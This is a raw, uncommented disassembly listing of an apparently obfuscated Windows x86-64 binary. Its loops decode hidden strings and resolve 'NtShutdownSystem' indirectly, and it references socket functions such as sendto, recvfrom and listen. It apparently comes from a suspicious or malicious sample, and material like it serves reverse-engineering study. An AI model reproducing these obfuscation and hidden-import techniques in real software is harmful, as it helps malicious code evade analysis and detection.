add r8, r9
jmp 0x14010ef3d
lea edx, [rdi - 0x18]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x58
add r10b, dl
jmp 0x14010ef6f
lea edx, [rdi + 0x7c]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x64
add r10b, dl
jmp 0x14010ef96
lea ecx, [rdi + 0x10]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x70
movzx eax, byte [rbp + rdi + 0xd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010e622
lea edx, [rdi - 0x7e]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
mov byte [rbp + rdi + 0xd0], r10b
inc rdi
jmp 0x14010e622
lea edx, [rdi + 0x16]
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r9, 2
jb 0x14010e9c2
movzx r11d, dil
lea edx, [r11 - 0x7c]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x38]
jmp 0x14010ee65
lea edx, [rdi + 0x3e]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
lea rax, [r8 + r9]
cmp rax, 0x5a
je 0x14010ede0
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14010ec35
lea edx, [rdi + 0x5e]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r8, 0x61
jae 0x14010edba
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14010ed06
lea ecx, [rdi + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x14
jmp 0x14010e9eb
lea ecx, [rdi - 0x6c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xc
movzx eax, byte [rbp + rdi + 0xd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010e622
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
jmp 0x14010ef96
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x30
jmp 0x14010ef3d
lea ecx, [rdi - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3c
add r8, r9
jmp 0x14010ef3d
movzx r11d, dil
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x48
jmp 0x14010eefb
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x54
dec rdi
inc rdi
jmp 0x14010e622
movzx r11d, dil
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6c
jmp 0x14010ee65
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14010eb7f
lea edx, [rdi - 0x4a]
movzx eax, dl
and al, bl
mov ecx, 3
jmp 0x14010ea21
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010ebb2
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 4
movzx eax, byte [rbp + rdi + 0xd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010e622
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010ebd6
lea edx, [rdi - 0x4c]
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14010ef6c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010ec00
lea edx, [rdi - 0x74]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
add r8, r9
jmp 0x14010ef3d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010ec1b
movzx r11d, dil
lea edx, [r11 - 8]
mov ecx, Ordinal_30
jmp 0x14010eeea
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010ea2d
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
jmp 0x14010eec1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010ec61
movzx r11d, dil
lea edx, [r11 - 0x36]
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14010ee65
inc rax
cmp r8, rax
jne 0x14010ec88
lea ecx, [rdi - 0x5e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6e
dec rdi
inc rdi
jmp 0x14010e622
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010ecad
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x56
add r8, r9
jmp 0x14010ef3d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010eccf
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3e
jmp 0x14010ef6f
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14010ea61
lea ecx, [rdi + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x26
movzx eax, byte [rbp + rdi + 0xd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010e622
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010ed39
lea ecx, [rdi - 0x48]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 8
movzx eax, byte [rbp + rdi + 0xd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010e622
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010ed60
lea edx, [rdi - 0x70]
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14010ef6f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010ed8a
lea edx, [rdi + 0x68]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r8, r9
jmp 0x14010ef3d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010e9eb
movzx r11d, dil
lea edx, [r11 + 0x18]
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14010ee65
movzx r11d, dil
lea edx, [r11 - 0x10]
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0xd0]
sub cl, al
add cl, 0x38
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14010eefb
lea edx, [rdi + 0x5c]
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14010ef6f
lea ecx, [rdi - 0x1e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2e
jmp 0x14010ef6f
lea ecx, [rdi + 0x76]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3a
jmp 0x14010ef3d
lea ecx, [rdi + 0x32]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5e
dec rdi
inc rdi
jmp 0x14010e622
movzx r11d, dil
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x76
add r11b, 0x3a
movzx eax, bl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0xd0], cl
inc r9
dec rdi
inc rdi
jmp 0x14010e622
lea edx, [rdi + 0x16]
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x14010e622
lea edx, [rdi - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x14010e622
movzx r11d, dil
lea edx, [r11 + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
sub r11b, 0x5a
movzx eax, bl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0xd0], cl
add r8, r9
jmp 0x14010ef3d
lea rdx, [rdi + r14]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14010e622
lea rcx, [rdi + rdx]
and r11b, cl
mov eax, reloc.WS2_32.dll_setsockopt
sub al, r11b
lea r10d, [rax + rax]
add r10b, cl
add r10b, bl
lea edx, [rdi + 0x12]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x7e
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xd0], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x38]
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x78
add bl, cl
mov byte [rbp + rdi + 0xd0], bl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010e622
lea rdx, [rdi + r15]
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010e622
sub dil, 0x72
movzx eax, bl
and al, dil
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dil
jmp 0x14010e61e
add dil, 0x22
movzx eax, bl
and al, dil
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dil
jmp 0x14010e601
lea rdx, [rbp + 0x157cb18]
jmp 0x14010f05e
lea rdx, [rbp + 0x12b47ce]
jmp 0x14010f05e
lea rdx, [rbp + 0xd0]
mov r9, rsi
lea r8, str.NtShutdownSystem
mov rcx, qword [0x140220750]
call fcn.1401159b0
movzx r14d, word [0x140220a70]
mov dword [rbp + 0x98], 0xfb4ae2b1
mov dword [rbp + 0x9c], 0x47fbf289
mov dword [rbp + 0xa0], 0xecf8fff7
mov dword [rbp + 0xa4], 0xca3eedfd
mov dword [rbp + 0xa8], 0x93ca3dde
mov dword [rbp + 0xac], 0x172091c5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rax
mov word [rbp + 0xc8], ax
mov byte [rbp + 0xca], al
movabs r15, 0xa329d04a58931bb2
movzx r11d, byte [rbp + 0x190]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x14010fbd4
movzx edi, byte [rbp + rbx + 0x98]
mov r10, rdi
cmp r8, rbx
ja 0x14010fbcb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010f143
lea rcx, [rbx + r15]
mov rax, rdi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdi
add r11, rcx
add r11b, 0x22
jmp 0x14010f180
je 0x14010fb69
inc rax
cmp r8, rax
je 0x14010fb03
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010fac6
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010faa6
lea rax, [r9 + 2]
cmp r8, rax
je 0x14010fa5f
nop dword [rax]
cmp r9, rbx
ja 0x14010fbc2
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x14010f1a9
lea ecx, [rbx - 0x66]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x36
jmp 0x14010f1f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010fa3e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010fa1e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010f9ff
cmp r8, rcx
je 0x14010f9b3
lea rax, [r9 + 7]
cmp r8, rax
je 0x14010f983
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14010f60b
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14010f5ec
lea rax, [r9 + 8]
cmp r8, rax
je 0x14010f5c9
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14010f5a5
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14010f588
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010f56e
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14010f54f
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14010f524
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010f200
mov r8, rax
lea r9, [rax + 3]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14010fba3
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14010f38b
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14010f36c
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14010f34d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14010f4e1
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14010f495
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14010f200
lea r8, [r9 + 6]
lea r9, [r8 + 6]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14010f465
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14010f446
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14010f428
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14010f406
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14010f3e8
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14010f3c8
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14010f3a5
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14010f200
mov r8, rax
lea r9, [rax + 0xa]
jmp 0x14010f200
lea edx, [rbx - 0x5a]
movzx eax, dl
and al, dil
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010f1f0
lea edx, [rbx + 0x42]
movzx eax, dl
and al, dil
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010f180
lea ecx, [rbx - 0x22]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x12
jmp 0x14010f114
lea edx, [rbx - 0x30]
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx r10d, bl
jmp 0x14010fa79
lea ecx, [rbx + 8]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
dec rbx
inc rbx
jmp 0x14010f102
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x7c
movzx r10d, bl
jmp 0x14010f93b
lea edx, [rbx + 0x40]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
jmp 0x14010faea
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x48
movzx r10d, bl
jmp 0x14010f9cd
lea edx, [rbx + 0x14]
movzx eax, dl
and al, dil
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010fb25
lea edx, [rbx - 0x50]
movzx eax, dl
and al, dil
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0x98]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010f102
lea edx, [rbx - 0x2e]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
cmp r9, 0x3e8
jb 0x14010f905
movzx r10d, bl
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, dil
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, dil
lea r11d, [rdx + rdx]
jmp 0x14010fa79
lea ecx, [rbx + 0x6e]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 2
cmp r8, 6
jae 0x14010f915
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14010f845
lea ecx, [rbx + 4]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x1c
jmp 0x14010f4af
lea ecx, [rbx - 0x64]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x44
movzx eax, byte [rbp + rbx + 0x98]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010f102
lea edx, [rbx + 0x38]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010fb25
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x10
jmp 0x14010faea
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x54
add r8, r9
jmp 0x14010faea
movzx r10d, bl
lea edx, [r10 - 0x58]
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010f93b
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x14010f102
movzx r10d, bl
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x64
jmp 0x14010fa79
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14010f66b
lea edx, [rbx - 0x4e]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
lea rax, [r9 + r8]
cmp rax, 3
je 0x14010f965
lea rdx, [r9 + 3]
cmp r8, rdx
jbe 0x14010f774
lea edx, [rbx + 0x6a]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010f4f6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010f69f
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6c
movzx eax, byte [rbp + rbx + 0x98]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010f102
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010f6cc
movzx r10d, bl
lea edx, [r10 - 4]
movzx eax, dl
and al, dil
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010f9cd
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010f6f2
lea ecx, [rbx - 0x3c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x5c
add r8, r9
jmp 0x14010faea
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14010f71a
movzx r10d, bl
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x18
jmp 0x14010f93b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010f748
lea edx, [rbx - 0x74]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x14010f102
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010f631
movzx r10d, bl
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4c
jmp 0x14010fa79
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14010f7a1
movzx r10d, bl
lea edx, [r10 - 0x32]
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010fa79
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010f7ca
lea ecx, [rbx - 0x6a]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x1a
dec rbx
inc rbx
jmp 0x14010f102
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14010f7f7
movzx r10d, bl
lea edx, [r10 - 6]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010f93b
cmp r8, rdx
jne 0x14010f81e
lea edx, [rbx + 0x5e]
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
jmp 0x14010faea
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010f4f6
lea ecx, [rbx - 0x3e]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4e
jmp 0x14010faea
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010f87e
lea edx, [rbx + 0x68]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0x98]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010f102
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010f8a6
movzx r10d, bl
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x50
jmp 0x14010f9cd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010f8d0
movzx r10d, bl
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010f93b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010f4af
lea edx, [rbx + 0x24]
movzx eax, dl
and al, dil
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r9
dec rbx
inc rbx
jmp 0x14010f102
mov byte [rbp + rbx + 0x98], r11b
inc rbx
jmp 0x14010f102
movzx r10d, bl
lea edx, [r10 + 0x50]
movzx eax, dl
and al, dil
add al, al
movzx r11d, byte [rbp + rbx + 0x98]
sub r11b, al
sub r11b, 0x30
add r11b, dil
add r11b, dl
add r10b, 2
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0xe
add r10b, r11b
add r10b, dil
mov byte [rbp + rbx + 0x98], r10b
add r8, r9
jmp 0x14010faea
movzx r10d, bl
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14010f9cd
lea edx, [rbx + 0x1e]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0x98]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010f102
movzx r10d, bl
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x5a
add r10b, 0x66
movzx eax, r10b
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
movzx eax, cl
mov byte [rbp + rbx + 0x98], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14010fb25
lea edx, [rbx - 0xe]
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010faea
lea ecx, [rbx - 0x3a]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6a
dec rbx
inc rbx
jmp 0x14010f102
movzx r10d, bl
lea edx, [r10 - 2]
movzx eax, dl
and al, dil
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14010fa79
movzx r10d, bl
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x7a
sub r10b, 0x62
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x52
add r10b, dil
mov byte [rbp + rbx + 0x98], r10b
inc r9
dec rbx
inc rbx
jmp 0x14010f102
lea ecx, [rbx + 0x6e]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 2
dec rbx
inc rbx
jmp 0x14010f102
movabs rdx, 0xbc78529d1d2bf942
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14010f102
movabs rax, 0x2fd11173badf8a7a
add rax, rbx
movzx edi, r10b
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdi + rax]
sub r11b, 0x56
lea edx, [rbx + 0x18]
movzx eax, dl
and al, dil
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx + 0x98], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x98]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010f102
movabs rdx, 0xe97d70df09b95316
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x98]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010f102
add bl, 0x16
movzx eax, bl
and al, dil
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x14010f0f0
lea rdx, [rbp + 0x1569c30]
jmp 0x14010fbdb
lea rdx, [rbp + 0x69b7e2]
jmp 0x14010fbdb
lea rdx, [rbp + 0x98]
movzx r9d, r14w
lea r8, str.NtShutdownSystem
mov rcx, qword [0x140220750]
call fcn.14011a0b0
xor eax, eax
mov byte [rbp + 0x190], al
lea rax, [rbp + 0x150]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x188], 0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x150]
call fcn.1401230e0
nop
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x1b0]
call fcn.140045440
lea rcx, [rbp + 0x1b0]
call fcn.140044570
mov rax, qword [rbp + 0x1e8]
mov edx, dword [rax + 0x50]
xor r8d, r8d
lea rcx, [rbp + 0x191]
call fcn.140050a20
mov r14, rax
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.1400452c0
mov rcx, qword [rbp + 0x1e8]
mov r9d, dword [rcx + 0x50]
mov r8, qword [rbp + 0x1c8]
mov rdx, r14
lea rcx, [rbp + 0x191]
call fcn.140052250
mov rcx, qword [rbp + 0x1e8]
mov edx, dword [rcx + 0x28]
add rdx, r14
mov r9d, dword [rcx + 0x50]
mov r8, r14
lea rcx, [rbp + 0x191]
call fcn.14011e7c0
mov r15d, eax
mov dword [rbp - 0x70], 0x756b7364
mov dword [rbp - 0x6c], 0x62a67761
mov dword [rbp - 0x68], 0x72787d66
mov dword [rbp - 0x64], 0x7b6b7fac
mov dword [rbp - 0x60], 0x767c6365
